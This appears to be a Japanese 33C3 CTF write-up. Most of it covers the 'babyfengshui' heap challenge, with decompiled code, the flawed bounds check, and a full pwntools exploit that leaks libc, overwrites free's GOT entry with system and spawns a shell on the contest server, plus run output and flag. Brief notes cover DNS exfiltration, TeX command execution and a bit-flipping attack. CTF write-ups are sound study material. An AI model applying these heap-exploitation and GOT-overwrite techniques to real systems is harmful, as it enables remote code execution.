    if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

loc_80487cd:
    printf("text: ");
    getText(users[var_1C]->text, 0x7c);
    goto update_exit;u

update_exit:
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


void Add(int arg0) {
    var_C = *0x14;
    var_14 = malloc(arg0); // arg0 is desicription size
    memset(var_14, 0x0, arg0);
    var_10 = malloc(0x80);
    memset(var_10, 0x0, 0x80);
    *var_10 = var_14; // users[i]->text = var_14
    users[number_of_X] = var_10;
    printf("name: ");
    eax = *(int8_t *)number_of_X & 0xff;
    eax = *((eax & 0xff) * 0x4 + users);
    getText(eax + 0x4, 0x7c);
    number_of_X += 1;
    Update(number_of_X - 1);

    eax = var_10;
    ecx = var_C ^ *0x14;
    COND = ecx == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Delete {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            eax = *eax;
            free(eax);
            eax = *((var_1C & 0xff) * 0x4 + users);
            free(eax);
            *((var_1C & 0xff) * 0x4 + users) = 0x0;
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Display {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            printf("name: %s\n", users[var_1C]->name);
            // eax = *((var_1C & 0xff) * 0x4 + users);
            // eax = *eax;
            printf("description: %s\n", users[var_1C]->description);
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


int main() {
    eax = *stdin;
    setvbuf(eax, 0x0, 0x2, 0x0);
    eax = *stdout;
    setvbuf(eax, 0x0, 0x2, 0x0);
    alarm(0x14);
    esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    goto loc_8048a68;

loc_8048a68:
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10;
    if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb;

loc_8048ae1:
    eax = exit(0x1);
    return eax;

loc_8048aeb:
    if (var_14 == 0x0) {
            printf("size of description: ");
            __isoc99_scanf("%u%c", var_10, var_15);
            Add(var_10);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x1) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Delete(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x2) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Display(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x3) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Update(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 != 0x4) goto loc_8048c05;

loc_8048beb:
    puts("Bye");
    eax = exit(0x0);
    return eax;

loc_8048c05:
    if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68;

loc_8048c14:
    puts("maximum capacity exceeded, bye");
    eax = exit(0x0);
    return eax;
}

思考

  • 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
  • free()の後にポインタをNull化しているため、double freeやUAF不可
  • ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す

思い込み(意図的に作り込まれたバグ)

if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。

f:id:katc:20161230163417p:plain

方針

  • ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
  • GOT書き換えからのsystem("/bin/sh")呼び出し(上図の(4))
    • free(buf)system("/bin/sh")と同等にする

Exploit Code

from pwn import *
from sys import argv
from os import system

BIN = "./babyfengshui"
BIN_PATCHED = BIN + ".patched"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

PATCH = False
REMOTE = False
if len(argv) > 1:
    if argv[1] == "patch":
        PATCH = True
    elif argv[1] == "r":
        REMOTE = True

"""
08048a5e 6A14                            push       0x14                        ; argument "seconds" for method j_alarm
08048a60 E8ABFAFFFF                      call       j_alarm
"""
if PATCH:
    with open(BIN) as f:
        b = f.read()
        b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF")
        with open(BIN_PATCHED, "wb") as f2:
            f2.write(b)
        system("chmod +x " + BIN_PATCHED)
    exit()

r = None
# e = ELF(BIN)
offset = {}
if REMOTE:
    """
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@"
       640: 0004cc50    52 FUNC    GLOBAL DEFAULT   12 printf@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system"
      1443: 0003e3e0    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$"
     15f551 /bin/sh
    """
    r = remote("78.46.224.83", 1456)
    offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551}
else:
    """
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@"
       647: 0004a020    42 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.0
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@"
      1460: 0003af40    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
    [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$"
     15ef08 /bin/sh
    """
    # r = process(BIN_PATCHED)
    r = process(BIN)
    offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08}

count = 0
def Add(size_description, name, size_text, text):
    global count
    r.recvuntil("Action: ")
    r.sendline("0")
    r.recvuntil("size of description: ")
    r.sendline(str(size_description))
    r.recvuntil("name: ")
    r.sendline(name)
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    res = r.recv(1024)
    if res == "my l33t defenses cannot be fooled, cya!\n":
        log.error("GAME OVER: %s" % res.strip('\n'))
        exit()
    r.sendline(text)
    count += 1

def Delete(index):
    r.recvuntil("Action: ")
    r.sendline("1")
    r.recvuntil("index: ")
    r.sendline(str(index))

def Display(index):
    r.recvuntil("Action: ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
    name = r.recvline().split(':')[1][1:].strip('\n')
    description = r.recvline().split(':')[1][1:].strip('\n')
    return (name, description)

def Update(index, size_text, text):
    r.recvuntil("Action: ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    r.recvuntil("text: ")
    r.sendline(text)

def Exit():
    r.recvuntil("Action: ")
    r.sendline("4") 
    r.recvuntil("Bye\n")

def DisplayAll():
    for i in range(count):
        name, description = Display(i)
        print "[%2d] name = %r (%#x)" % (i, name, len(name))
        print "[%2d] description = %r (%#x)" % (i, description, len(description))

# context.log_level = 'debug'

plt = {"fgets": 0x8048500, "strchr": 0x08048560}
"""
gdb-peda$ x/i 0x08048560
   0x8048560 <strchr@plt>:  jmp    DWORD PTR ds:0x804b02c
"""
got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c}

# name_len = 0x7b
name_len = 0x10 # anti 20 sec limit
# bp()

log.info("=== [prepare] ===") # (1)から(3)まで
Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0
Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1
Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2
Delete(0)
# DisplayAll()

log.info("=== [info leak] ===") 
LEAK_FUNC = "printf"
Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "A"*4,                  # chunk header
    p32(got[LEAK_FUNC]),    # 
    "LEAK",
    ]))

DisplayAll()

name, description = Display(1)
print "description = %r" % description
addr = u32(description[:4])
libc_base_addr = addr - offset[LEAK_FUNC]
system_addr = libc_base_addr + offset["system"]
bin_sh_addr = libc_base_addr + offset["/bin/sh"]
print "libc base address = %#x" % libc_base_addr
print "%s() = %#x" % (LEAK_FUNC, addr)
print "system() = %#x" % system_addr
print "'/bin/sh' = %#x" % bin_sh_addr

log.info("=== [got overwrite] ===") # (4)
Update(3, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "X"*4,                  # chunk header
    # p32(got["strchr"]),     # X()
    p32(got["free"]),     # X()
    "GOTw",
    ]))
# DisplayAll()
bp()
Update(1, 10, p32(system_addr)) # X() <= system()

log.info("=== [trigger shell] ===")
Delete(2) # system("/bin/sh")

context.log_level = 'warn'
r.interactive()

20秒制限があるため、通信は手短に済まさねばならない点がポイント。

[katc@K_atc babyfengshui]$ python2 babyfengshui.py r
[+] Opening connection to 78.46.224.83 on port 1456: Done
[*] === [prepare] ===
[*] === [info leak] ===
[ 0] name = 'Add a user' (0xa)
[ 0] description = 'Delete a user' (0xd)
[ 1] name = 'LEAK' (0x4)
[ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34)
[ 2] name = '3333333333333333' (0x10)
[ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23)
[ 3] name = '4444444444444444' (0x10)
[ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8)
description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7'
libc base address = 0xf75b1000
printf() = 0xf75fdc50
system() = 0xf75ef3e0
'/bin/sh' = 0xf7710551
[*] === [got overwrite] ===
[*] === [trigger shell] ===
babyfengshui
flag.txt
33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

exfill

DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pdfmaker

最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。

外部コマンドの実行 - TeX Wiki

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pay2pwnのアシスト内容

クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。

リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。

http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040

タイミングによらず、未購入であれば同じdataが入りそうだ。

次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。

### 4929990005949674
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040

### 4024007103302005
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040

注意深く見ると、次のことが分かる。

  • dataはhexエンコードされたデータ。暗号文の可能性が高い
  • 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる

dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。


ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…